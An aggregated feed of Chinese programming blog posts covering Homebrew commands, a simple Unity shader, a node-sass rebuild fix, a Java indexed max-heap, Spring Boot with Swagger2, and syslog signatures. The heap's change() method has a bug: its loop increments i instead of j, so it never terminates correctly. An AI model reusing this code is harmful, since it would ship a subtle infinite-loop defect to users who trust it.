brew info $FORMULA    # 显示某个包的信息
brew info             # 显示安装了包数量,文件数量,和总占用空间

brew deps 可以显示包的依赖关系,我常用它来查看已安装的包的依赖,然后判断哪些包是可以安全删除的。

brew deps --installed --tree # 查看已安装的包的依赖,树形显示

输出如下:

elixir (required dependencies)
└── :erlang

wxmac (required dependencies)
├── jpeg
├── libpng
│   └── xz
└── libtiff
    └── jpeg

还有很多有用的命令和参数,没事 man brew 一下可以涨不少知识。

小结

不想更新 Homebrew 往往有两个原因,害怕潜在的风险和对工具的不熟悉,我之前也是这样。写这篇文章最开始是为了帮我记录常用的命令方便以后查阅的。希望它也能帮到你。

原文地址:https://segmentfault.com/a/1190000004353419

想整理一下 brew 的命令,看到这篇文章写得很好,就转载过来了。

作者:FungLeo 发表于2017/11/13 13:30:48 原文链接
阅读:3 评论:0 查看评论

Unity Shader 学习笔记(5)第一个简单Shader

$
0
0

Unity Shader 学习笔记(5)第一个简单Shader

参考书籍:《Unity Shader 入门精要》
作者源码:https://github.com/candycat1992/Unity_Shaders_Book
项目源码:https://github.com/ZeroChiLi/ShaderTest


色彩由法线值控制

Shader "Custom/Chapter 5/SimpleShader" {
    Properties {
        _Color ("Color Tint",Color) = (1.0,1.0,1.0,1.0)     // 声明一个Color类型的属性
    }

    SubShader {
        Pass {
            CGPROGRAM

            #pragma vertex vert                             // 告诉Unity,vert函数包含顶点着色器代码
            #pragma fragment frag                           // frag函数包含片元着色器代码

            fixed4 _Color;                                  // Cg中声明和属性名称类型相同的变量,这样才能在Cg中使用

            struct a2v {                                    // application To vertex shader 应用到着色器
                float4 vertex : POSITION;                   // POSITION:把模型的顶点坐标填充到 vertex
                float3 normal : NORMAL;                     // NORMAL:法线方向填充到 normal,范围[-1.0,1.0]
                float4 texcoord : TEXCOORD0;                // TEXCOORD0:纹理坐标填充到 texcoord
            };

            struct v2f {                                    // 顶点到片着色器
                float4 pos : SV_POSITION;                   // 裁剪空间中的顶点坐标
                fixed3 color : COLOR0;                      // 存储颜色信息
            };

            v2f vert(a2v v) {
                v2f o;
                o.pos = UnityObjectToClipPos(v.vertex);     // mul(UNITY_MATRIX_MVP,v),把顶点坐标从模型空间转到裁剪空间
                o.color = v.normal * 0.5 + fixed3(0.5,0.5,0.5);
                return o;   
            }

            float4 frag(v2f i) : SV_Target {    // SV_Target:把用户的输出颜色存到一个渲染目标中。这里输出到默认的帧缓存中
                fixed3 c = i.color;
                c *= _Color.rgb;                // 使用_Color属性来控制输出颜色
                return fixed4(c,1.0);           // 将插值后的i.color显示到屏幕
            }

            ENDCG
        }
    }
    FallBack "Diffuse"
}
// POSITION:传入模型的顶坐标到v。
// SV_POSITION:输出裁切空间的顶点坐标。
float4 vert(float4 v : POSITION) : SV_POSITION {
    return mul(UNITY_MATRIX_MVP, v);
}
作者:l773575310 发表于2017/11/13 13:39:52 原文链接
阅读:17 评论:0 查看评论

nodejs 升级后, vue+webpack 项目 node-sass 报错的解决方法

$
0
0

关于 node 环境升级到 v8^ 以上,node-sass 报错的解决方法

今天给同事电脑升级了一下系统,顺便升级了所有的软件,发现原来好好的项目报错了。报错大致信息如下:

 ERROR  Failed to compile with 1 errors                                                                      下午1:56:26

 error  in ./src/components/Hello.vue

Module build failed: Error: Missing binding /Users/fungleo/Sites/MyWork/vuedemo2/node_modules/node-sass/vendor/darwin-x64-57/binding.node
Node Sass could not find a binding for your current environment: OS X 64-bit with Node.js 8.x

Found bindings for the following environments:
  - OS X 64-bit with Node.js 6.x

This usually happens because your environment has changed since running `npm install`.
Run `npm rebuild node-sass --force` to build the binding for your current environment.
    at module.exports (/Users/fungleo/Sites/MyWork/vuedemo2/node_modules/node-sass/lib/binding.js:15:13)
    at Object.<anonymous> (/Users/fungleo/Sites/MyWork/vuedemo2/node_modules/node-sass/lib/index.js:14:35)
    at Module._compile (module.js:635:30)
    at Object.Module._extensions..js (module.js:646:10)
    at Module.load (module.js:554:32)
    at tryModuleLoad (module.js:497:12)
    at Function.Module._load (module.js:489:3)
    at Module.require (module.js:579:17)
    at require (internal/module.js:11:18)
    at Object.<anonymous> (/Users/fungleo/Sites/MyWork/vuedemo2/node_modules/sass-loader/lib/loader.js:3:14)
    at Module._compile (module.js:635:30)
    at Object.Module._extensions..js (module.js:646:10)
    at Module.load (module.js:554:32)
    at tryModuleLoad (module.js:497:12)
    at Function.Module._load (module.js:489:3)
    at Module.require (module.js:579:17)

 @ ./~/vue-style-loader!./~/css-loader?{"minimize":false,"sourceMap":false}!./~/vue-loader/lib/style-compiler?{"vue":true,"id":"data-v-2d1bdf0c","scoped":false,"hasInlineConfig":false}!./~/sass-loader/lib/loader.js?{"sourceMap":false}!./~/vue-loader/lib/selector.js?type=styles&index=0!./src/components/Hello.vue 4:14-394 13:3-17:5 14:22-402
 @ ./src/components/Hello.vue
 @ ./src/router/index.js
 @ ./src/main.js
 @ multi ./build/dev-client ./src/main.js

> Listening at http://localhost:8080

这段代码是我升级node之后,在我的电脑上复制出来的。但大概就是这么个意思,里面根据不同的项目位置什么的,会有所不同。

简单的说,这段代码就是告诉你,node-sass 不兼容 node v8 的版本。那就很好解决了。在当前项目下面执行

npm i node-sass -D

然后项目就恢复正常了。

当项目出错之后,不要着急,仔细看下报错代码,实在不行用翻译工具翻译一下。一般来说,是很快能够找到解决方法的。

本文由 FungLeo 原创,允许转载,但转载必须保留首发链接。

作者:FungLeo 发表于2017/11/13 14:06:57 原文链接
阅读:0 评论:0 查看评论

数据结构与算法分析(Java语言描述)(14)—— 索引堆

$
0
0
package com.dataStructure.heap;

import java.util.Arrays;

public class IndexMaxHeap {
    // 最大索引堆中的数据
    private Integer[] data;
    // 最大索引堆中的索引
    private int[] indexes;
    private int count;
    private int capacity;

    // 构造函数, 构造一个空堆, 可容纳capacity个元素
    public IndexMaxHeap(int capacity) {
        this.capacity = capacity;
        data = new Integer[capacity + 1];
        indexes = new int[capacity + 1];
        count = 0;
    }

    // 返回索引堆中的元素个数
    public int size() {
        return count;
    }

    // 返回一个布尔值, 表示索引堆中是否为空
    public boolean isEmpty() {
        return count == 0;
    }

    // 向最大索引堆中插入一个新的元素, 新元素的索引为i, 元素为item
    // 传入的i对用户而言,是从0索引的
    public void insert(int i, Integer integer) {
        i += 1;
        data[i] = integer;
        indexes[count + 1] = i;
        count++;
        shiftUp(count);
    }

    // 从最大索引堆中取出堆顶元素, 即索引堆中所存储的最大数据
    public Integer extractMax() {
        Integer ret = data[indexes[1]];
        swapIndexes(1, count);
        count--;
        shiftDown(1);
        return ret;
    }

    // 从最大索引堆中取出堆顶元素的索引
    public int extractMaxIndexes() {
        int ret = indexes[1] - 1;
        swapIndexes(1, count);
        count--;
        shiftDown(1);
        return ret;
    }

    // 获取最大索引堆中的堆顶元素
    public int getMax() {
        return data[indexes[1]];
    }

    // 获取最大索引堆中的堆顶元素的索引
    public int getMaxIndex() {
        return indexes[1]-1;
    }

    // 获取最大索引堆中索引为i的元素
    public Integer getInteger(int i) {
        return data[i + 1];
    }

    // 将最大索引堆中索引为i的元素修改为newItem
    public void change(int i, Integer newInteger) {
        i += 1;
        data[i] = newInteger;
        // 找到indexes[j] = i, j表示data[i]在堆中的位置
        // 之后shiftUp(j), 再shiftDown(j)
        for (int j = 1; j <= count; i++) {
            if (indexes[j] == i) {
                shiftUp(j);
                shiftDown(j);
                return;
            }
        }
    }

    // 交换索引堆中的索引i和j
    private void swapIndexes(int i, int j) {
        int temp = indexes[i];
        indexes[i] = indexes[j];
        indexes[j] = temp;
    }

    //********************
    //* 最大索引堆核心辅助函数
    //********************

    // 索引堆中, 数据之间的比较根据data的大小进行比较, 但实际操作的是索引
    private void shiftUp(int k) {
        while (k > 1 && data[indexes[k / 2]].compareTo(data[indexes[k]]) < 0) {
            swapIndexes(k, k / 2);
            k /= 2;
        }
    }

    // 索引堆中, 数据之间的比较根据data的大小进行比较, 但实际操作的是索引
    private void shiftDown(int k) {
        while (2 * k <= count) {
            int j = 2 * k;
            if (j + 1 <= count && data[indexes[j + 1]].compareTo(data[indexes[j]]) > 0) {
                j++;
            }
            if (data[indexes[k]].compareTo(data[indexes[j]]) > 0) break;
            swapIndexes(k, j);
            k = j;
        }
    }

    // 测试索引堆中的索引数组index
    // 注意:这个测试在向堆中插入元素以后, 不进行extract操作有效
    public boolean testIndexes() {
        int[] copyIndexes = new int[count + 1];
        for (int i = 0; i <= count; i++) {
            copyIndexes[i] = indexes[i];
        }
        copyIndexes[0] = 0;
        Arrays.sort(copyIndexes);

        // 在对索引堆中的索引进行排序后, 应该正好是1...count这count个索引
        boolean res = true;
        for (int i = 1; i <= count; i++) {
            if (copyIndexes[i - 1] + 1 != copyIndexes[i]) {
                res = false;
                break;
            }
        }
        if (!res) {
            System.out.println("Error!");
            return false;
        }
        return true;
    }

    // 测试 IndexMaxHeap
    public static void main(String[] args) {

        int N = 1000000;
        IndexMaxHeap indexMaxHeap = new IndexMaxHeap(N);
        for (int i = 0; i < N; i++)
            indexMaxHeap.insert(i, (int) (Math.random() * N));
        System.out.println(indexMaxHeap.testIndexes());
    }


}

这里写图片描述

这里写图片描述


在索引中,我们除了data之外,还引入了indexes。data中存放原始数据,indexes中存放的是索引。这里要注意:无论是data数组中的元素,还是indexes数组中的元素,都不构成堆!是谁构成了堆?是下面的这个数组:

data[indexes[1]], data[indexes[2]], data[indexes[3]], ..., data[indexes[n]]

换句话说,我们可以这样理解indexes。将data中的元素组织成一个堆以后,把他们原先对应的序号依次取出来,构成的数组就是索引数组的内容。而data的内容再恢复回去,不要动。在索引堆中,我们可以看到,shiftUp和shiftDown操作只改变索引数组indexes的内容,而不去动data。data就静静地躺在那里,看indexes数组变来变去。最后真正要使用data的时候,只要用indexes相应的元素做索引,指向data就好了。

所以,我们的getMax函数是这样的:

Item getMax(){    
    assert( count > 0 );    
    return data[indexes[1]];    
}

看,永远取indexes数组第一个元素为索引所对应的那个data,真正改变的是indexes:)


作者:HeatDeath 发表于2017/11/13 13:42:22 原文链接
阅读:19 评论:0 查看评论

Spring Boot中使用Swagger2构建RESTful APIS(含源码)

$
0
0

Swagger2简介

本次教程是Spring Boot中使用Swagger2构建RESTful APIS
Swagger 是一个规范和完整的框架,用于生成、描述、调用和可视化 RESTful 风格的 Web 服务。(如图)

Spring Boot中使用Swagger2构建RESTful APIS效果图

Swagger除了查看接口功能外,还提供了调试测试功能。(如图)
新增博客

新增

新增

查看所有博客

查看所有

修改博客

修改

查看单个博客

查看单个

查看单个

删除博客

输入要删除的id

删除成功

查看是否删除

SpringBoot整合Swagger2

配置pom.xml,引入Swagger2架包

<dependency>
    <groupId>io.springfox</groupId>
    <artifactId>springfox-swagger2</artifactId>
    <version>2.7.0</version>
</dependency>
<dependency>
    <groupId>io.springfox</groupId>
    <artifactId>springfox-swagger-ui</artifactId>
    <version>2.7.0</version>
</dependency>

在RunApplication.java同级下创建Swagger2.java

package com.javazhan;

import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import springfox.documentation.builders.*;
import springfox.documentation.service.*;
import springfox.documentation.spi.DocumentationType;
import springfox.documentation.spring.web.plugins.Docket;
import springfox.documentation.swagger2.annotations.EnableSwagger2;

/**
 * Created by yando on 2017/11/10.
 */

@Configuration
@EnableSwagger2
public class Swagger2 {

    @Bean
    public Docket api() {
        return new Docket(DocumentationType.SWAGGER_2)
                .select()
                .apis(RequestHandlerSelectors.any())
                .build()
                .apiInfo(apiInfo());
    }

    private ApiInfo apiInfo() {
        return new ApiInfoBuilder()
                .title("Spring Boot中使用Swagger2构建RESTful APIS")
                .description("HTTP对外开放接口")
                .version("1.0.0")
                .termsOfServiceUrl("http://blog.csdn.net/wenteryan")
                .license("Spring Boot 入门+实战(提供源码哟)")
                .licenseUrl("http://blog.csdn.net/column/details/15021.html")
                .build();
    }
}

创建实体类 Blog.java(略)

创建ABlogController.java

package com.javazhan.controller.admin;

import com.javazhan.domain.Blog;
import io.swagger.annotations.ApiImplicitParam;
import io.swagger.annotations.ApiImplicitParams;
import io.swagger.annotations.ApiOperation;
import org.springframework.web.bind.annotation.*;

import java.util.*;

/**
 * Created by yando on 2017/11/13.
 */
@RestController
@RequestMapping(value = "/admin/blog")
public class ABlogController {

    static Map<Long, Blog> blogs = Collections.synchronizedMap(new HashMap<Long, Blog>()) ;

    @ApiOperation(value = "后台管理查询所有博客")
    @RequestMapping(value = "", method = RequestMethod.GET)
    public List<Blog> getBlogList() {
        List<Blog> list = new ArrayList<Blog>(blogs.values()) ;
        return list ;
    }

    @ApiOperation(value = "新增博客", notes = "根据博客对象")
    @ApiImplicitParam(name = "blog", value = "博客信息实体blog", required = true, dataType = "Blog")
    @RequestMapping(value = "/add", method = RequestMethod.POST)
    public Map addBlog(@RequestBody Blog blog) {
        blogs.put(blog.getId(), blog) ;
        Map map = new HashMap() ;
        map.put("message", "新增成功") ;
        map.put("code", "0000") ;
        return map ;
    }

    @ApiOperation(value = "获取博客信息", notes = "根据ID获取博客对象")
    @ApiImplicitParam(name = "id", value = "博客ID", required = true, paramType="path", dataType = "Long")
    @RequestMapping(value = "/{id}", method = RequestMethod.GET)
    public Blog getBlogById(@PathVariable Long id) {
        Blog blog = new Blog() ;
        blog = blogs.get(id) ;
        return blog ;
    }

    @ApiOperation(value = "修改博客信息", notes = "根据传过来的博客对象修改博客信息")
    @ApiImplicitParams({
            @ApiImplicitParam(name = "id", value = "博客ID", required = true, paramType="path", dataType = "Long"),
            @ApiImplicitParam(name = "blog", value = "博客信息实体blog", required = true, dataType = "Blog")
    })
    @RequestMapping(value = "/{id}", method = RequestMethod.PUT)
    public Map updateBlog(@PathVariable Long id, @RequestBody Blog blog) {
        Blog b = blogs.get(blog.getId()) ;
        b.setId(blog.getId()) ;
        b.setName(blog.getName()) ;
        blogs.put(b.getId(), b) ;
        Map map = new HashMap() ;
        map.put("message", "修改成功") ;
        map.put("code", "0000") ;
        return map ;
    }

    @ApiOperation(value = "删除博客信息", notes = "根据ID删除博客对象")
    @ApiImplicitParam(name = "id", value = "博客ID", required = true, paramType="path", dataType = "Long")
    @RequestMapping(value = "/{id}", method = RequestMethod.DELETE)
    public Map deleteBlog(@PathVariable Long id) {
        blogs.remove(id) ;
        Map map = new HashMap() ;
        map.put("message", "删除成功") ;
        map.put("code", "0000") ;
        return map ;
    }
}

运行RunApplication.java
访问地址:http://localhost:8080/swagger-ui.html

Spring Boot中使用Swagger2构建RESTful APIS效果图

更多教程请参考官方文档

源码下载

Spring Boot中使用Swagger2构建RESTful APIS(含源码)

版权声明:本文为博主原创文章,未经博主允许不得转载。转载请注明出处:http://blog.csdn.net/wenteryan

作者:wenteryan 发表于2017/11/13 14:18:52 原文链接
阅读:11 评论:0 查看评论

第13章 守护进程和inetd超级服务器

$
0
0

#include <syslog.h>

void openlog(const char* ident, int options, int facility);
void syslog(int priority, const char* message, ...);
void closelog(void);
syslog资料


作者:gongluck93 发表于2017/11/13 14:22:20 原文链接
阅读:9 评论:0 查看评论
Viewing all 35570 articles
Browse latest View live


<script src="https://jsc.adskeeper.com/r/s/rssing.com.1596347.js" async> </script>